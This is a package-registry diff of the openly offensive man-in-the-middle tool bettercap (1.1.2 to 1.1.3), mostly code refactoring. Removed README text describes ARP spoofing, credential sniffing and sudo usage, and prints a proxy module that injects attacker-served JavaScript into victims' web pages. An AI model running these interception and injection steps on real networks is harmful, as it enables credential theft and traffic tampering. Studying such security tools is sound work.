bettercap 1.1.2 → 1.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +6 -140
- data/TODO.md +3 -2
- data/bin/bettercap +20 -0
- data/lib/bettercap/base/ifirewall.rb +10 -0
- data/lib/bettercap/context.rb +39 -21
- data/lib/bettercap/discovery/arp.rb +17 -0
- data/lib/bettercap/httpd/server.rb +4 -4
- data/lib/bettercap/monkey/packetfu/utils.rb +52 -34
- data/lib/bettercap/network.rb +35 -32
- data/lib/bettercap/proxy/proxy.rb +2 -2
- data/lib/bettercap/shell.rb +1 -1
- data/lib/bettercap/sniffer/sniffer.rb +51 -19
- data/lib/bettercap/spoofers/arp.rb +1 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +2 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 3ec474a048798ccf1e1cdffd8e9cd89451664e34
|
4
|
+
data.tar.gz: b7a71427a38b282296afe4ea29e4ff17544a2ae8
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 1181286df3a437f4687ad6472dec73979358f517946775f7b5b058831bdd8209505ae8efe77e2034698d7cc0952daeb4b80e072f28698e6fee2b3e46304c6105
|
7
|
+
data.tar.gz: b180321825414edddc52aa36d3eee9a3c67c320aa55ed1911a1fe5c0a9758c241adc914bfab558dc1fe15c32d65574ec1b62e3dd2e993661a20b1744c11708f1
|
data/README.md
CHANGED
@@ -4,151 +4,12 @@ Copyleft of Simone '[evilsocket](https://twitter.com/evilsocket)' Margaritelli*.
|
|
4
4
|
|
5
5
|
http://www.bettercap.org/
|
6
6
|
|
7
|
-
[](http://badge.fury.io/rb/bettercap)
|
7
|
+
[](http://badge.fury.io/rb/bettercap) [](https://codeclimate.com/github/evilsocket/bettercap)
|
8
8
|
---
|
9
9
|
|
10
10
|
**bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic
|
11
11
|
and offensive feature you could need in order to perform a man in the middle attack.
|
12
12
|
|
13
|
-
MOTIVATIONS
|
14
|
-
===
|
15
|
-
|
16
|
-
> Yet another MITM tool? C'mon, really?!!?
|
17
|
-
|
18
|
-
This is exactly what you are thinking right now, isn't it? :D
|
19
|
-
But allow yourself to think about it for 5 more minutes ... what you should be really asking is:
|
20
|
-
|
21
|
-
> Does a complete, modular, portable and easy to extend MITM tool actually exist?
|
22
|
-
|
23
|
-
If your answer is "ettercap", let me tell you something:
|
24
|
-
|
25
|
-
* ettercap **was** a great tool, but it made its time.
|
26
|
-
* ettercap filters **do not** work most of the times, are outdated and hard to implement due to the specific language they're implemented in.
|
27
|
-
* ettercap is freaking **unstable** on big networks ... try to launch the host discovery on a bigger network rather than the usual /24 ;)
|
28
|
-
* yeah you can see connections and raw pcap stuff, **nice toy**, but **as a professional researcher I want to see only relevant stuff**.
|
29
|
-
* unless you're a C/C++ developer, you can't easily extend ettercap or make your own module.
|
30
|
-
|
31
|
-
Indeed you could use more than just one tool ... maybe [arpspoof](http://linux.die.net/man/8/arpspoof) to perform the actual poisoning, [mitmproxy](http://mitmproxy.org) to intercept HTTP stuff and inject your payloads and so forth ... I don't know about you, but I **hate** when I need to use a dozen of tools just to perform one single attack, especially when I need to do some black magic in order to make all of them work on my distro or on OSX ... what about the [KISS](https://en.wikipedia.org/wiki/KISS_principle) principle?
|
32
|
-
|
33
|
-
So **bettercap** was born ( isn't the name pure genius? XD ) ...
|
34
|
-
|
35
|
-
HOST DISCOVERY + ARP MAN IN THE MIDDLE
|
36
|
-
===
|
37
|
-
|
38
|
-
You can target the whole network or a single known address, it doesn't really matter, bettercap arp spoofing capabilities and its multiple hosts discovery agents will do the dirty work for you.
|
39
|
-
Just launch the tool and wait for it to do its job ... again, [KISS!](https://en.wikipedia.org/wiki/KISS_principle)
|
40
|
-
|
41
|
-

|
42
|
-
|
43
|
-
CREDENTIALS SNIFFER
|
44
|
-
===
|
45
|
-
|
46
|
-
The built in sniffer is currently able to dissect and print from the network the following informations:
|
47
|
-
|
48
|
-
- URLs being visited.
|
49
|
-
- HTTPS host being visited.
|
50
|
-
- HTTP POSTed data.
|
51
|
-
- HTTP Basic and Digest authentications.
|
52
|
-
- FTP credentials.
|
53
|
-
- IRC credentials.
|
54
|
-
- POP, IMAP and SMTP credentials.
|
55
|
-
- NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
|
56
|
-
|
57
|
-

|
58
|
-
|
59
|
-
**Examples**
|
60
|
-
|
61
|
-
Default sniffer mode, all parsers enabled:
|
62
|
-
|
63
|
-
sudo bettercap -X
|
64
|
-
|
65
|
-
Enable sniffer and load only specified parsers:
|
66
|
-
|
67
|
-
sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
|
68
|
-
|
69
|
-
Enable sniffer + all parsers and parse local traffic as well:
|
70
|
-
|
71
|
-
sudo bettercap -X -L
|
72
|
-
|
73
|
-
MODULAR TRANSPARENT PROXY
|
74
|
-
===
|
75
|
-
|
76
|
-
A modular transparent proxy can be started with the --proxy argument, by default it won't do anything
|
77
|
-
but logging HTTP requests, but if you specify a **--proxy-module** argument you will be able to load
|
78
|
-
your own modules and manipulate HTTP traffic as you like.
|
79
|
-
You can find some example modules in the [dedicated repository](https://github.com/evilsocket/bettercap-proxy-modules).
|
80
|
-
|
81
|
-

|
82
|
-
|
83
|
-
**Examples**
|
84
|
-
|
85
|
-
Enable proxy on default ( 8080 ) port with no modules ( quite useless ):
|
86
|
-
|
87
|
-
sudo bettercap --proxy
|
88
|
-
|
89
|
-
Enable proxy and use a custom port:
|
90
|
-
|
91
|
-
sudo bettercap --proxy --proxy-port=8081
|
92
|
-
|
93
|
-
Enable proxy and load the module **hack_title.rb**:
|
94
|
-
|
95
|
-
sudo bettercap --proxy --proxy-module=hack_title.rb
|
96
|
-
|
97
|
-
Disable spoofer and enable proxy ( stand alone proxy mode ):
|
98
|
-
|
99
|
-
sudo bettercap -S NONE --proxy
|
100
|
-
|
101
|
-
**Modules**
|
102
|
-
|
103
|
-
You can easily implement a module to inject data into pages or just inspect the
|
104
|
-
requests/responses creating a ruby file and passing it to bettercap with the --proxy-module argument,
|
105
|
-
the following is a sample module that injects some contents into the title tag of each html page.
|
106
|
-
|
107
|
-
```ruby
|
108
|
-
class HackTitle < Proxy::Module
|
109
|
-
def on_request( request, response )
|
110
|
-
# is it a html page?
|
111
|
-
if response.content_type == 'text/html'
|
112
|
-
Logger.info "Hacking http://#{request.host}#{request.url} title tag"
|
113
|
-
# make sure to use sub! or gsub! to update the instance
|
114
|
-
response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
|
115
|
-
end
|
116
|
-
end
|
117
|
-
end
|
118
|
-
```
|
119
|
-
|
120
|
-
BUILTIN HTTP SERVER
|
121
|
-
===
|
122
|
-
|
123
|
-
You want to serve your custom javascript files on the network? Maybe you wanna inject some custom
|
124
|
-
script or image into HTTP responses using a transparent proxy module but you got no public server
|
125
|
-
to use? **no worries dude** :D
|
126
|
-
A builtin HTTP server comes with bettercap, allowing you to serve custom contents from your own
|
127
|
-
machine without installing and configuring other softwares such as Apache, nginx or lighttpd.
|
128
|
-
|
129
|
-
You could use a **proxy module** like the following:
|
130
|
-
|
131
|
-
```ruby
|
132
|
-
class InjectJS < Proxy::Module
|
133
|
-
def on_request( request, response )
|
134
|
-
# is it a html page?
|
135
|
-
if response.content_type == 'text/html'
|
136
|
-
Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
|
137
|
-
# get the local interface address and HTTPD port
|
138
|
-
localaddr = Context.get.ifconfig[:ip_saddr]
|
139
|
-
localport = Context.get.options[:httpd_port]
|
140
|
-
# inject the js
|
141
|
-
response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
|
142
|
-
end
|
143
|
-
end
|
144
|
-
end
|
145
|
-
```
|
146
|
-
|
147
|
-
And then use it to inject the js file in every HTTP response of the network, using bettercap itself
|
148
|
-
to serve the file:
|
149
|
-
|
150
|
-
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
|
151
|
-
|
152
13
|
HOW TO INSTALL
|
153
14
|
===
|
154
15
|
|
@@ -173,3 +34,8 @@ dependency in order to make everything work:
|
|
173
34
|
|
174
35
|
This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22).
|
175
36
|
|
37
|
+
|
38
|
+
EXAMPLES & INSTRUCTIONS
|
39
|
+
===
|
40
|
+
|
41
|
+
Please refer to the [official website](http://bettercap.org).
|
data/TODO.md
CHANGED
@@ -6,16 +6,17 @@ This is a list of TODOs I use to keep track of tasks and upcoming features.
|
|
6
6
|
- [x] Capture to .pcap file.
|
7
7
|
- [x] BPF filters.
|
8
8
|
- [x] BeEF proxy module ( [BeefBOX](https://github.com/evilsocket/bettercap-proxy-modules/blob/master/beefbox.rb) ).
|
9
|
-
- [
|
9
|
+
- [x] Use raw file arp parsing instead of "arp -a" to improve speed. ( Solved with arp -a -n )
|
10
|
+
- [ ] *BSD Support.
|
10
11
|
- [ ] sslstrip
|
11
12
|
- [ ] sslmitm
|
12
|
-
- [ ] *BSD Support.
|
13
13
|
- [ ] HTTP/2 Support.
|
14
14
|
- [ ] Active packet filtering/injection/etc.
|
15
15
|
|
16
16
|
**Maybe**
|
17
17
|
|
18
18
|
- [ ] Replace webrick with thin ( proxy too? )
|
19
|
+
- [ ] ICMP Redirect ? ( only half duplex and filtered by many firewalls anyway ... dunno ).
|
19
20
|
- [ ] DNS Spoofing ( not sure if it actually makes any sense ).
|
20
21
|
- [ ] Windows Support? ( OMG PLZ NO! )
|
21
22
|
- [ ] Output/actions as json for UI integration?
|
data/bin/bettercap
CHANGED
@@ -22,6 +22,7 @@ begin
|
|
22
22
|
|
23
23
|
OptionParser.new do |opts|
|
24
24
|
opts.banner = "Usage: #{$0} [options]"
|
25
|
+
opts.version = BetterCap::VERSION
|
25
26
|
|
26
27
|
opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options[:iface].to_s ) do |v|
|
27
28
|
ctx.options[:iface] = v
|
@@ -103,6 +104,10 @@ begin
|
|
103
104
|
ctx.options[:httpd_path] = v
|
104
105
|
end
|
105
106
|
|
107
|
+
opts.on( '--check-updates', 'Will check if any update is available and then exit.' ) do
|
108
|
+
ctx.options[:check_updates] = true
|
109
|
+
end
|
110
|
+
|
106
111
|
opts.on('-h', '--help', 'Display the available options.') do
|
107
112
|
puts opts
|
108
113
|
puts "\nExamples:\n".bold
|
@@ -126,6 +131,21 @@ begin
|
|
126
131
|
end
|
127
132
|
end.parse!
|
128
133
|
|
134
|
+
if ctx.options[:check_updates]
|
135
|
+
begin
|
136
|
+
ver = ctx.check_updates
|
137
|
+
if !ver.nil?
|
138
|
+
Logger.warn "New version #{ver} available!"
|
139
|
+
else
|
140
|
+
Logger.info 'You are running the latest version.'
|
141
|
+
end
|
142
|
+
rescue Exception => e
|
143
|
+
Logger.error "Could not check for updates: #{e.message}"
|
144
|
+
end
|
145
|
+
|
146
|
+
exit
|
147
|
+
end
|
148
|
+
|
129
149
|
raise BetterCap::Error, 'This software must run as root.' unless Process.uid == 0
|
130
150
|
raise BetterCap::Error, 'No default interface found, please specify one with the -I argument.' unless !ctx.options[:iface].nil?
|
131
151
|
|
@@ -10,6 +10,10 @@ This project is released under the GPL 3 license.
|
|
10
10
|
|
11
11
|
=end
|
12
12
|
class IFirewall
|
13
|
+
def initialize
|
14
|
+
@frwd_initial_state = forwarding_enabled?
|
15
|
+
end
|
16
|
+
|
13
17
|
def enable_forwarding(enabled)
|
14
18
|
not_implemented_method!
|
15
19
|
end
|
@@ -26,6 +30,12 @@ class IFirewall
|
|
26
30
|
not_implemented_method!
|
27
31
|
end
|
28
32
|
|
33
|
+
def restore
|
34
|
+
if forwarding_enabled? != @frwd_initial_state
|
35
|
+
enable_forwarding @frwd_initial_state
|
36
|
+
end
|
37
|
+
end
|
38
|
+
|
29
39
|
private
|
30
40
|
|
31
41
|
def not_implemented_method!
|
data/lib/bettercap/context.rb
CHANGED
@@ -11,7 +11,10 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
|
13
13
|
# this class holds global states & data
|
14
|
+
require 'bettercap/version'
|
14
15
|
require 'bettercap/error'
|
16
|
+
require 'net/http'
|
17
|
+
require 'json'
|
15
18
|
|
16
19
|
class Context
|
17
20
|
attr_accessor :options, :ifconfig, :network, :firewall, :gateway,
|
@@ -32,26 +35,28 @@ class Context
|
|
32
35
|
end
|
33
36
|
|
34
37
|
@options = {
|
35
|
-
:
|
36
|
-
:
|
37
|
-
:
|
38
|
-
:
|
39
|
-
:
|
40
|
-
:
|
41
|
-
|
42
|
-
:
|
43
|
-
:
|
44
|
-
:
|
45
|
-
:
|
46
|
-
:
|
47
|
-
|
48
|
-
:
|
49
|
-
:
|
50
|
-
:
|
51
|
-
|
52
|
-
:
|
53
|
-
:
|
54
|
-
:
|
38
|
+
iface: iface,
|
39
|
+
spoofer: 'ARP',
|
40
|
+
target: nil,
|
41
|
+
logfile: nil,
|
42
|
+
debug: false,
|
43
|
+
arpcache: false,
|
44
|
+
|
45
|
+
sniffer: false,
|
46
|
+
sniffer_pcap: nil,
|
47
|
+
sniffer_filter: nil,
|
48
|
+
parsers: ['*'],
|
49
|
+
local: false,
|
50
|
+
|
51
|
+
proxy: false,
|
52
|
+
proxy_port: 8080,
|
53
|
+
proxy_module: nil,
|
54
|
+
|
55
|
+
httpd: false,
|
56
|
+
httpd_port: 8081,
|
57
|
+
httpd_path: './',
|
58
|
+
|
59
|
+
check_updates: false
|
55
60
|
}
|
56
61
|
|
57
62
|
@ifconfig = nil
|
@@ -67,6 +72,19 @@ class Context
|
|
67
72
|
@discovery_thread = nil
|
68
73
|
end
|
69
74
|
|
75
|
+
def check_updates
|
76
|
+
Logger.info 'Checking for updates ...'
|
77
|
+
|
78
|
+
api = URI('https://api.github.com/repos/evilsocket/bettercap/releases/latest')
|
79
|
+
body = Net::HTTP.get(api)
|
80
|
+
json = JSON.parse(body)
|
81
|
+
|
82
|
+
if json['tag_name'] != BetterCap::VERSION and json['tag_name'] != "v#{BetterCap::VERSION}"
|
83
|
+
return json['tag_name']
|
84
|
+
end
|
85
|
+
nil
|
86
|
+
end
|
87
|
+
|
70
88
|
def update_network
|
71
89
|
@firewall = FirewallFactory.get_firewall
|
72
90
|
@ifconfig = PacketFu::Utils.ifconfig @options[:iface]
|
@@ -135,7 +153,7 @@ class Context
|
|
135
153
|
end
|
136
154
|
|
137
155
|
if !@firewall.nil?
|
138
|
-
@firewall.
|
156
|
+
@firewall.restore
|
139
157
|
end
|
140
158
|
|
141
159
|
if !@httpd.nil?
|
@@ -13,6 +13,7 @@ require 'bettercap/logger'
|
|
13
13
|
require 'bettercap/shell'
|
14
14
|
require 'bettercap/target'
|
15
15
|
require 'bettercap/discovery/base'
|
16
|
+
require 'bettercap/context'
|
16
17
|
|
17
18
|
# Parse the ARP table searching for new hosts.
|
18
19
|
class ArpAgent < BaseAgent
|
@@ -37,6 +38,22 @@ class ArpAgent < BaseAgent
|
|
37
38
|
targets
|
38
39
|
end
|
39
40
|
|
41
|
+
def self.find_address( ip )
|
42
|
+
arp = Shell.arp
|
43
|
+
mac = nil
|
44
|
+
|
45
|
+
arp.split("\n").each do |line|
|
46
|
+
m = /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{Context.get.ifconfig[:iface]}.*/i.match(line)
|
47
|
+
if !m.nil?
|
48
|
+
if m[1] == ip and m[2] != 'ff:ff:ff:ff:ff:ff'
|
49
|
+
mac = m[2]
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
53
|
+
|
54
|
+
mac
|
55
|
+
end
|
56
|
+
|
40
57
|
private
|
41
58
|
|
42
59
|
def send_probe( ip )
|
@@ -20,10 +20,10 @@ class Server
|
|
20
20
|
@port = port
|
21
21
|
@path = path
|
22
22
|
@server = WEBrick::HTTPServer.new(
|
23
|
-
:
|
24
|
-
:
|
25
|
-
:
|
26
|
-
:
|
23
|
+
Port: @port,
|
24
|
+
DocumentRoot: @path,
|
25
|
+
Logger: WEBrick::Log.new("/dev/null"),
|
26
|
+
AccessLog: []
|
27
27
|
)
|
28
28
|
end
|
29
29
|
|
@@ -26,51 +26,69 @@ module PacketFu
|
|
26
26
|
Logger.debug "ifconfig #{iface}"
|
27
27
|
|
28
28
|
ifconfig_data = Shell.ifconfig(iface)
|
29
|
-
|
29
|
+
if ifconfig_data =~ /#{iface}/i
|
30
|
+
ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
|
31
|
+
else
|
32
|
+
raise ArgumentError, "Cannot ifconfig #{iface}"
|
33
|
+
end
|
34
|
+
|
30
35
|
case RUBY_PLATFORM
|
31
36
|
when /linux/i
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
37
|
+
ret = linux_ifconfig iface, ifconfig_data
|
38
|
+
when /darwin/i
|
39
|
+
ret = darwin_ifconfig iface, ifconfig_data
|
40
|
+
end
|
41
|
+
|
42
|
+
ret
|
43
|
+
end
|
44
|
+
|
45
|
+
private
|
46
|
+
|
47
|
+
def self.linux_ifconfig(iface='eth0',ifconfig_data)
|
48
|
+
Logger.debug "Linux ifconfig #{iface}:\n#{ifconfig_data}"
|
49
|
+
|
50
|
+
ret = {}
|
51
|
+
real_iface = ifconfig_data.first
|
52
|
+
ret[:iface] = real_iface.split.first.downcase.gsub(':','')
|
53
|
+
|
54
|
+
if real_iface =~ /[\s]HWaddr[\s]+([0-9a-fA-F:]{17})/i
|
55
|
+
ret[:eth_saddr] = $1.downcase
|
56
|
+
ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
|
57
|
+
end
|
58
|
+
|
59
|
+
ifconfig_data.each do |s|
|
60
|
+
case s
|
47
61
|
when /inet [a-z]+:[\s]*([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*[a-z]+:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i
|
48
62
|
ret[:ip_saddr] = $1
|
49
|
-
ret[:ip_src] = [IPAddr.new($1).to_i].pack(
|
63
|
+
ret[:ip_src] = [IPAddr.new($1).to_i].pack('N')
|
50
64
|
ret[:ip4_obj] = IPAddr.new($1)
|
51
65
|
ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3
|
52
66
|
when /inet[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(.*Mask[\s]+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+))?/i
|
53
67
|
ret[:ip_saddr] = $1
|
54
|
-
ret[:ip_src] = [IPAddr.new($1).to_i].pack(
|
68
|
+
ret[:ip_src] = [IPAddr.new($1).to_i].pack('N')
|
55
69
|
ret[:ip4_obj] = IPAddr.new($1)
|
56
70
|
ret[:ip4_obj] = ret[:ip4_obj].mask($3) if $3
|
57
71
|
when /inet6 [a-z]+:[\s]*([0-9a-fA-F:\x2f]+)/
|
58
72
|
ret[:ip6_saddr] = $1
|
59
73
|
ret[:ip6_obj] = IPAddr.new($1)
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
Logger.debug "OSX ifconfig #{iface}:\n#{ifconfig_data}"
|
64
|
-
|
65
|
-
if ifconfig_data =~ /#{iface}/i
|
66
|
-
ifconfig_data = ifconfig_data.split(/[\s]*\n[\s]*/)
|
67
|
-
else
|
68
|
-
raise ArgumentError, "Cannot ifconfig #{iface}"
|
74
|
+
when /ether[\s]+([0-9a-fA-F:]{17})/i
|
75
|
+
ret[:eth_saddr] = $1.downcase
|
76
|
+
ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
|
69
77
|
end
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
78
|
+
end
|
79
|
+
|
80
|
+
ret
|
81
|
+
end
|
82
|
+
|
83
|
+
def self.darwin_ifconfig(iface='eth0',ifconfig_data)
|
84
|
+
Logger.debug "OSX ifconfig #{iface}:\n#{ifconfig_data}"
|
85
|
+
|
86
|
+
ret = {}
|
87
|
+
real_iface = ifconfig_data.first
|
88
|
+
ret[:iface] = real_iface.split(':')[0]
|
89
|
+
|
90
|
+
ifconfig_data.each do |s|
|
91
|
+
case s
|
74
92
|
when /ether[\s]([0-9a-fA-F:]{17})/i
|
75
93
|
ret[:eth_saddr] = $1
|
76
94
|
ret[:eth_src] = EthHeader.mac2str(ret[:eth_saddr])
|
@@ -87,9 +105,9 @@ module PacketFu
|
|
87
105
|
when /inet6[\s]*([0-9a-fA-F:\x2f]+)/
|
88
106
|
ret[:ip6_saddr] = $1
|
89
107
|
ret[:ip6_obj] = IPAddr.new($1)
|
90
|
-
|
91
|
-
|
92
|
-
|
108
|
+
end
|
109
|
+
end
|
110
|
+
|
93
111
|
ret
|
94
112
|
end
|
95
113
|
end
|
data/lib/bettercap/network.rb
CHANGED
@@ -40,6 +40,7 @@ class Network
|
|
40
40
|
out.each do |line|
|
41
41
|
if line.include?( Context.get.options[:iface] )
|
42
42
|
gw = line.split[1]
|
43
|
+
break if is_ip?(gw)
|
43
44
|
end
|
44
45
|
end
|
45
46
|
|
@@ -91,41 +92,43 @@ class Network
|
|
91
92
|
won't catch anything, instead we're using cap.stream.each.
|
92
93
|
=end
|
93
94
|
def get_hw_address( iface, ip_address, attempts = 2 )
|
94
|
-
hw_address =
|
95
|
-
|
96
|
-
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
95
|
+
hw_address = ArpAgent.find_address( ip_address )
|
96
|
+
|
97
|
+
if hw_address.nil?
|
98
|
+
attempts.times do
|
99
|
+
arp_pkt = PacketFu::ARPPacket.new
|
100
|
+
|
101
|
+
arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
|
102
|
+
arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
|
103
|
+
arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
|
104
|
+
arp_pkt.arp_saddr_ip = iface[:ip_saddr]
|
105
|
+
arp_pkt.arp_daddr_ip = ip_address
|
106
|
+
|
107
|
+
cap_thread = Thread.new do
|
108
|
+
target_mac = nil
|
109
|
+
timeout = 0
|
110
|
+
|
111
|
+
cap = PacketFu::Capture.new(
|
112
|
+
iface: iface[:iface],
|
113
|
+
start: true,
|
114
|
+
filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
|
115
|
+
)
|
116
|
+
arp_pkt.to_w(iface[:iface])
|
117
|
+
|
118
|
+
begin
|
119
|
+
Logger.debug 'Attempting to get MAC from packet capture ...'
|
120
|
+
target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
|
121
|
+
rescue Timeout::Error
|
122
|
+
timeout += 0.1
|
123
|
+
retry if target_mac.nil? && timeout <= 5
|
124
|
+
end
|
125
|
+
|
126
|
+
target_mac
|
122
127
|
end
|
128
|
+
hw_address = cap_thread.value
|
123
129
|
|
124
|
-
|
130
|
+
break unless hw_address.nil?
|
125
131
|
end
|
126
|
-
hw_address = cap_thread.value
|
127
|
-
|
128
|
-
break unless hw_address.nil?
|
129
132
|
end
|
130
133
|
|
131
134
|
hw_address
|
@@ -213,7 +213,7 @@ class Proxy
|
|
213
213
|
if request.content_length > 0
|
214
214
|
Logger.debug "Getting #{request.content_length} bytes from client"
|
215
215
|
|
216
|
-
binary_streaming client, server, :
|
216
|
+
binary_streaming client, server, request: request
|
217
217
|
end
|
218
218
|
|
219
219
|
Logger.debug 'Reading response ...'
|
@@ -240,7 +240,7 @@ class Proxy
|
|
240
240
|
|
241
241
|
Logger.debug 'Binary streaming'
|
242
242
|
|
243
|
-
binary_streaming server, client, :
|
243
|
+
binary_streaming server, client, response: response
|
244
244
|
end
|
245
245
|
|
246
246
|
Logger.debug "#{client_ip}:#{client_port} served."
|
data/lib/bettercap/shell.rb
CHANGED
@@ -17,36 +17,34 @@ require 'packetfu'
|
|
17
17
|
class Sniffer
|
18
18
|
include PacketFu
|
19
19
|
|
20
|
+
@@ctx = nil
|
20
21
|
@@parsers = nil
|
22
|
+
@@pcap = nil
|
23
|
+
@@cap = nil
|
21
24
|
|
22
25
|
def self.start( ctx )
|
23
26
|
Logger.info 'Starting sniffer ...'
|
24
27
|
|
25
|
-
|
28
|
+
setup( ctx )
|
26
29
|
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
+
@@cap.stream.each do |p|
|
31
|
+
append_packet p
|
32
|
+
parse_packet p
|
30
33
|
end
|
34
|
+
end
|
31
35
|
|
32
|
-
|
33
|
-
|
34
|
-
cap = Capture.new(
|
35
|
-
:iface => ctx.options[:iface],
|
36
|
-
:filter => ctx.options[:sniffer_filter],
|
37
|
-
:start => true
|
38
|
-
)
|
39
|
-
cap.stream.each do |p|
|
40
|
-
begin
|
41
|
-
pcap.array_to_file( :filename => ctx.options[:sniffer_pcap], :array => [p], :append => true) unless pcap.nil?
|
42
|
-
rescue Exception => e
|
43
|
-
Logger.warn e.message
|
44
|
-
end
|
36
|
+
private
|
45
37
|
|
38
|
+
def self.parse_packet( p )
|
39
|
+
begin
|
46
40
|
pkt = Packet.parse p
|
47
|
-
|
48
|
-
|
41
|
+
rescue Exception => e
|
42
|
+
pkt = nil
|
43
|
+
Logger.debug e.message
|
44
|
+
end
|
49
45
|
|
46
|
+
if not pkt.nil? and pkt.is_ip?
|
47
|
+
if !skip_packet? pkt
|
50
48
|
@@parsers.each do |parser|
|
51
49
|
begin
|
52
50
|
parser.on_packet pkt
|
@@ -57,4 +55,38 @@ class Sniffer
|
|
57
55
|
end
|
58
56
|
end
|
59
57
|
end
|
58
|
+
|
59
|
+
def self.skip_packet?( pkt )
|
60
|
+
!@@ctx.options[:local] and
|
61
|
+
( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
|
62
|
+
pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
|
63
|
+
end
|
64
|
+
|
65
|
+
def self.append_packet( p )
|
66
|
+
begin
|
67
|
+
@@pcap.array_to_file(
|
68
|
+
filename: @@ctx.options[:sniffer_pcap],
|
69
|
+
array: [p],
|
70
|
+
append: true ) unless @@pcap.nil?
|
71
|
+
rescue Exception => e
|
72
|
+
Logger.warn e.message
|
73
|
+
end
|
74
|
+
end
|
75
|
+
|
76
|
+
def self.setup( ctx )
|
77
|
+
@@ctx = ctx
|
78
|
+
|
79
|
+
if !@@ctx.options[:sniffer_pcap].nil?
|
80
|
+
@@pcap = PcapFile.new
|
81
|
+
Logger.warn "Saving packets to #{@@ctx.options[:sniffer_pcap]} ."
|
82
|
+
end
|
83
|
+
|
84
|
+
@@parsers = ParserFactory.load_by_names @@ctx.options[:parsers]
|
85
|
+
|
86
|
+
@@cap = Capture.new(
|
87
|
+
iface: @@ctx.options[:iface],
|
88
|
+
filter: @@ctx.options[:sniffer_filter],
|
89
|
+
start: true
|
90
|
+
)
|
91
|
+
end
|
60
92
|
end
|
@@ -84,7 +84,7 @@ class ArpSpoofer < ISpoofer
|
|
84
84
|
if target.mac.nil?
|
85
85
|
Logger.warn "Getting target #{target.ip} MAC address ..."
|
86
86
|
|
87
|
-
hw = Network.get_hw_address( @ctx.ifconfig, target.ip
|
87
|
+
hw = Network.get_hw_address( @ctx.ifconfig, target.ip )
|
88
88
|
if hw.nil?
|
89
89
|
Logger.warn "Couldn't determine target MAC"
|
90
90
|
next
|
data/lib/bettercap/version.rb
CHANGED
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.1.
|
4
|
+
version: 1.1.3
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2015-07-
|
11
|
+
date: 2015-07-27 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|